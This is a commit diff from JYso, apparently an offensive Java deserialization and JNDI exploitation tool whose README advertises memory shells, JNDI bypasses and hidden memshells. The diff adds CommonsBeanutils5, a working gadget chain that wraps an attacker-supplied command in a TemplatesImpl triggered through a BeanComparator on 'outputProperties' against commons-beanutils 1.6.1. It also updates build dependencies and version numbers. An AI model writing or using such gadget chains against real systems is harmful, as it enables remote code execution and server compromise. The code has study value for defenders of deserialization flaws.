cb5

.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/metadata.bin

@@ -1 +1 @@
-›ab3zenlem5csdf7df22cpcxz2u-Ge	Är)aJéÛ<aDŠâˆclasses
\ÅÁ4ô¸´Á¼®’bCqbˆsources
ú¸„röÝn·5å€?6[í
+›6jdeuvjb2jg2npu5t7reu7l5py-Ge	Är)aJéÛ<aDŠ«ˆclasses
\ÅÁ4ô¸´Á¼®’bCqbˆsources
ú¸„röÝn·5å€?6[í

.gradle/buildOutputCleanup/cache.properties

@@ -1,2 +1,2 @@
-#Tue Apr 02 15:02:40 CST 2024
+#Mon Apr 29 15:08:25 CST 2024
 gradle.version=8.7

README.md

@@ -21,7 +21,7 @@ JYso是一款可以同时当做 ysoserial 与 JNDIExploit 使用的工具，同
 + JNDI 高版本Bypass
 + 12个可用回显类
 + 18个可用的内存马类，且支持修改内存马的路径、密码、验证的HTTP头与值
-+ 75条可用 Gadget，并提供多种利用方式
++ 76条可用 Gadget，并提供多种利用方式
 + 内存马支持[无文件落地Agent打入](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
 + 内存马写入 JRE 或环境变量来隐藏
 + 序列化数据加脏数据

README_EN.md

@@ -19,7 +19,7 @@ You can download the latest version [releases](https://github.com/qi4L/JYso/rele
 + JNDI high version Bypass
 + 12 available echo classes
 + 18 available memshell classes, and supports modifying the memshell path, password, authentication HTTP header and value
-+ 75 available Gadgets and provide multiple ways to use them
++ 76 available Gadgets and provide multiple ways to use them
 + Memory horse supports [No file landing Agent entry](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
 + write the memshell to JRE or environment variable to hide
 + Serialized data plus dirty data

build.gradle

@@ -27,9 +27,9 @@ shadowJar {
         attributes 'Main-Class': 'com.qi4l.jndi.Starter'
     }
     zip64=true
+    minimize()
 }
 
-
 dependencies {
     api libs.io.projectreactor.reactor.core
     api libs.com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api.wsoc
@@ -92,17 +92,22 @@ dependencies {
     api libs.org.apache.click.click.nodeps
     api libs.org.clojure.clojure
     api libs.cn.hutool.hutool.all
-    api libs.commons.beanutils.commons.beanutils
+//    api libs.commons.beanutils.commons.beanutils
     api libs.javax.websocket.javax.websocket.api
     api libs.com.caucho.resin
-    testImplementation libs.junit.junit
     implementation 'net.sf.json-lib:json-lib:2.4:jdk15'
+    implementation('commons-beanutils:commons-beanutils:1.6.1') {
+        version {
+            strictly '1.6.1'
+        }
+    }
+    implementation files('lib/CB161.jar')
     runtimeOnly libs.org.aspectj.aspectjweaver
     compileOnly libs.org.apache.tomcat.tomcat.websocket
 }
 
 group = 'org.example'
-version = '1.2.8'
+version = '1.2.9'
 description = 'JYso'
 java.sourceCompatibility = JavaVersion.VERSION_1_8
 

src/main/java/com/qi4l/jndi/controllers/ysoserial.java

@@ -166,12 +166,6 @@ public class ysoserial {
         System.exit(0);
     }
     private static Options getOptions() {
-        System.out.println("██╗   ██╗███████╗ ██████╗ \n" +
-                "╚██╗ ██╔╝██╔════╝██╔═══██╗\n" +
-                " ╚████╔╝ ███████╗██║   ██║\n" +
-                "  ╚██╔╝  ╚════██║██║   ██║\n" +
-                "   ██║   ███████║╚██████╔╝\n" +
-                "   ╚═╝   ╚══════╝ ╚═════╝ \n");
         Options options = new Options();
         options.addOption("y", "ysoserial", false, "Java deserialization");
         options.addOption("g", "gadget", true, "Java deserialization gadget");

src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1.java

@@ -15,9 +15,8 @@ public class CommonsBeanutils1 implements ObjectPayload<Object> {
     public Object getObject(String command) throws Exception {
         final Object template;
         template = Gadgets.createTemplatesImpl(command);
-        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
-
-        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
+        final BeanComparator        comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
+        final PriorityQueue<Object> queue      = new PriorityQueue<Object>(2, comparator);
         queue.add("1");
         queue.add("1");
 

src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils5.java

@@ -0,0 +1,39 @@
+package com.qi4l.jndi.gadgets;
+
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+import com.qi4l.jndi.gadgets.utils.Gadgets;
+import com.qi4l.jndi.gadgets.utils.Reflections;
+
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Method;
+import java.math.BigInteger;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.util.Comparator;
+import java.util.PriorityQueue;
+
+@Dependencies({"commons-beanutils:commons-beanutils:1.6.1"})
+@Authors({Authors.PEIQIF4CK})
+public class CommonsBeanutils5 implements ObjectPayload<Object> {
+    @Override
+    public Object getObject(String command) throws Exception {
+        final Object template;
+        template = Gadgets.createTemplatesImpl(command);
+
+        URLClassLoader      classLoader    = new URLClassLoader(new URL[]{new URL("file://libs/commons-beanutils-1.6.1.jar")}, Thread.currentThread().getContextClassLoader());
+        Class<?>            BeanComparator = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator");
+        Constructor<?>      constructor    = BeanComparator.getConstructor(String.class);
+        Object              comparator     = constructor.newInstance("lowestSetBit");
+        final PriorityQueue queue          = new PriorityQueue(2, (Comparator) comparator);
+
+
+        queue.add(new BigInteger("1"));
+        queue.add(new BigInteger("1"));
+
+        Reflections.setFieldValue(comparator, "property", "outputProperties");
+        Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
+
+        return queue;
+    }
+}

src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java

@@ -42,7 +42,10 @@ public @interface Authors {
 
     String ARTSPLOIT  = "artsploit";
     String CCKUAILONG = "CCKUAILONG";
+
     String QI4L       = "QI4L";
+    String PEIQIF4CK = "peiqiF4ck";
+
     String KILLER = "killer";
 
     String[] value() default {};